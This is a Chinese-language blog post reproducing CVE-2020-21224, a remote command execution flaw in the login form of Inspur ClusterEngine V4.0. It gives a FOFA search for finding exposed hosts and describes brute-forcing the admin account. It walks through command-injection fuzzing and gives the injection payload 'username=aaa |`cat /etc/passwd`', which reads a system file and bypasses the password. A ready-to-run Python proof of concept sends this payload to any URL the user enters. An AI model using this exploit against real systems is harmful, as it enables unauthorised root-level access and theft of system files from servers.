(CVE-2020-21224)浪潮ClusterEngineV4.0 远程命令执行漏洞复现【附POC】

简介

浪潮 Inspur ClusterEngine是中国浪潮公司的一个应用软件。提供管理集群系统中软硬件提交的作业。

漏洞描述

浪潮服务器群集管理系统存在危险字符未过滤,导致远程命令执行

影响版本

浪潮ClusterEngineV4.0

FOFA

title="TSCEV4.0"

复现过程

FOFA搜索:
(CVE-2020-21224)浪潮ClusterEngineV4.0 远程命令执行漏洞复现【附POC】_第1张图片
登录页面:

输入账号密码,进行抓包:
(CVE-2020-21224)浪潮ClusterEngineV4.0 远程命令执行漏洞复现【附POC】_第2张图片
页面不存在验证码,且存在用户名枚举,进行暴力破解:
(CVE-2020-21224)浪潮ClusterEngineV4.0 远程命令执行漏洞复现【附POC】_第3张图片
得到用户名为admin,并且再添加一些特殊符号时会提示/bin/sh出错(疑似存在命令执行)。

通过fuzz,发现在用户名或密码任意一处添加 ’ ,会报错:

正常输入:
(CVE-2020-21224)浪潮ClusterEngineV4.0 远程命令执行漏洞复现【附POC】_第4张图片
添加单引号:
(CVE-2020-21224)浪潮ClusterEngineV4.0 远程命令执行漏洞复现【附POC】_第5张图片
查找匹配项是错误

添加分号,爆出命令未找到:
(CVE-2020-21224)浪潮ClusterEngineV4.0 远程命令执行漏洞复现【附POC】_第6张图片
存在命令执行。

尝试一些执行命令的方式:
(CVE-2020-21224)浪潮ClusterEngineV4.0 远程命令执行漏洞复现【附POC】_第7张图片

使用 | 执行命令时,发现可以执行成功。

测试其他命令:

尝试id:

(CVE-2020-21224)浪潮ClusterEngineV4.0 远程命令执行漏洞复现【附POC】_第8张图片
不仅得到了id结果,响应数据也发生了改变。

结果绕过了密码,登录成功:
(CVE-2020-21224)浪潮ClusterEngineV4.0 远程命令执行漏洞复现【附POC】_第9张图片
使用 || 也可以执行一些命令,并且也可以绕过密码进行登录:
(CVE-2020-21224)浪潮ClusterEngineV4.0 远程命令执行漏洞复现【附POC】_第10张图片

在使用一些命令时,出现报错现象:
(CVE-2020-21224)浪潮ClusterEngineV4.0 远程命令执行漏洞复现【附POC】_第11张图片
可以使用 ` ` 对 $() 对命令进行包裹;在 bash shell 中,$( ) 与 ` (反引号) 都是用来做命令替换用(commandsubstitution)的。

所以,使用反引号:
(CVE-2020-21224)浪潮ClusterEngineV4.0 远程命令执行漏洞复现【附POC】_第12张图片

POC

# op=login&username=aaa |`cat /etc/passwd`
# 页面返回root:x:0:0则存在漏洞

#{"err":"/bin/sh: root:x:0:0:root:/root:/bin/bash: No such file or directory\n","exitcode":127,"out":""}

# 如果网络能连通,也可以反弹shell,而且是root权限(我这里做了好几个都失败了)

#   @Author:ximo
#	CVE-2020-21224

import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def title():
    print('+------------------------------------------')
    print('+-------------CVE-2020-21224---------------')
    print('+------------------------------------------')


def POC_1(target_url):
    vulb_url = target_url + '/login'
    headers = {
     
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    }
    data = "op=login&username=aaa |`cat /etc/passwd`"

    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # 防止报错
        response = requests.post(url=vulb_url,data=data,headers=headers,verify=False, timeout=4) # verify验证SSL证书
        etc_passwd=re.findall(r'\{"err":"/bin/sh: (.*?): No such file ',response.text)
        if response.status_code==200 and 'root:x:0:0' in response.text:
            print("目标{}存在漏洞,结果为:{}".format(target_url,etc_passwd[0]))
        else:
            print("目标{}不存在漏洞".format(target_url))
    except Exception as e:
        print('目标{}请求失败'.format(target_url))



if __name__ == '__main__':
    title()
    target_url = str(input("\033[35m请输入url\nUrl    >>> \033[0m"))
    POC_1(target_url)

参考链接:浪潮ClusterEngineV4.0 远程命令执行漏洞 CVE-2020-21224

你可能感兴趣的:(漏洞复现,安全漏洞,HVV)